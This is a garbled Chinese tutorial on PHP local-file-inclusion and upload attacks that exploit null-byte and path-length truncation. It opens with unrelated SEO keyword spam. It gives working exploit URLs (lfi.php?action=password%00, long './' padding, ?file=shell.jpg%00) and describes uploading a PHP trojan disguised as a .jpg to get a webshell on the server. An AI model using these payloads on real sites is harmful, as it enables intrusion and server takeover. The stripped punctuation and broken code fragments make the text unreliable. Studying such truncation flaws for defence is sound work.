做网站有高手没有,北京网络教育,做销售的如何在网站,开发网站有什么用截断大概可以在以下情况适用include(require)file_get_contentsfile_exists所有url中参数可以用%00控制0x01. 本地文件包含1.1 截断类型#xff1a;php %00截断截断条件#xff1a;php版本小于5.3.4 详情关注CVE-2006-7243php的magic_quotes_gpc为OFF状态漏洞文件lfi.php要in…截断大概可以在以下情况适用include(require)file_get_contentsfile_exists所有url中参数可以用%00控制0x01. 本地文件包含1.1 截断类型php %00截断截断条件php版本小于5.3.4 详情关注CVE-2006-7243php的magic_quotes_gpc为OFF状态漏洞文件lfi.php要include的password文件Password利用代码lfi.php?actionpassword%00注意url正宗%00是被会url解码成0x00所以可能导致截断。password文件被成功包含并且执行phpinfo()函数。如果没有截断条件lfi.php就只能包含php扩展名的文件。相反如果有截断条件lfi.php可以包含任意文件的扩展名。当把magic_quotes_gpc打开php版本依然是5.2.9时再测试结果%00被转义成了\0两个单体字符不再具有截断功能。原因是当打开magic_quotes_gpc时所有的 (单引号)(双引号)\(反斜线)和 NULL字符(%00)都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如addslashes()、mysql_escape_string()、mysql_real_escape_string()等当把magic_quotes_gpc关闭php版本依然是5.3.10时依然不能截断。所以证明php版本和gpc两个条件都必须满足才能截断。除了上面的include、require、include_once、require_once还有file_get_contents也能配合php %00利用。FileGetContents.php利用方式此时可以看到当前目录put.txt是上面password中的内容。Password1.2 文件路径长度截断除了1.1说的%00可以截断还可以用字符.或者/.或者./(注意顺序)来截断不能纯用/至于为什么不能用其他字符想必应该和php实现有关。系统文件路径长度限制windows 259个byteslinux 4096个bytes截断条件php版本为5.3.4以下(具体哪个版本不是很清楚乌云上kukki写的5.2.8以下这明显是不对的因为我测试用的5.2.9)GPC是否开启没关系漏洞代码lfi.php和1.1中的lfi.php一样在windows下需要.字符最少的利用POClfi.php?actionpassword..............................................................................................................................................................................................................................................成功包含执行password里面的phpinfo函数加上根目录路径一共为258个字节。所以需要的最少的.数为258 - (lfi.php文件的路径长度即C:/wamp/www/strlen(password))或者用./截断最短的POC为并且最短路径长度为258lfi.php?actionpassword./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././将password文件名改为password123后最短的POC为最短路径长度依然为258lfi.php?password123/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././注意这两者一个是/开始一个是.开始这和路径长度的奇偶有关系真正遇到这样的情况就丢很长的/.最后再跳整下第一个/或者.即可。linux就自行测试吧。0x02. 文件上传截断类型php的%00截断。所以截断的条件依然是php %00截断的条件php版本5.3.4以下gpc关闭测试环境php版本5.2.9gpc关闭漏洞代码 upload.phpFile Upload Vulnerability文件; echo路径.$targetPath; } else { echo(上传失败); } }else{ echo(上传失败);}}?这个漏洞代码是我YY的可能实际情况不一定能够用上。只是证明截断可以达到上传的功能。先将一个php木马重命名为上面扩展名为白名单的后缀比如.jpg点击submit按钮就在server上生成了一个xxoo.php的马。0x03. file_exists判断文件是否存在file_exists在判断文件存在的时候也有被截断的现象。截断条件php版本小于5.3.4GPC关闭状态漏洞代码如下和CVE-2014-8959 phpmyadmin的这个漏洞一样。;if(! file_exists($filename)){ echonot exist;}else{ include_once($filename); echoexist;}?当前目录存在一个shell.jpg文件此时访问?fileshell.jpg%00返回结果是文件存在。有一个小技巧当上面文件第五行变成$filename xxoo . $file . .php;如果仍然要用shell.jpg那么只需这样构造?file/../shell.jpg%00利用/../回到当前目录。在php中一些目录切换../表示上一层目录./表示当前目录/单独使用不能表示当前目录只用xx/这样才能表示xx这个目录参考文章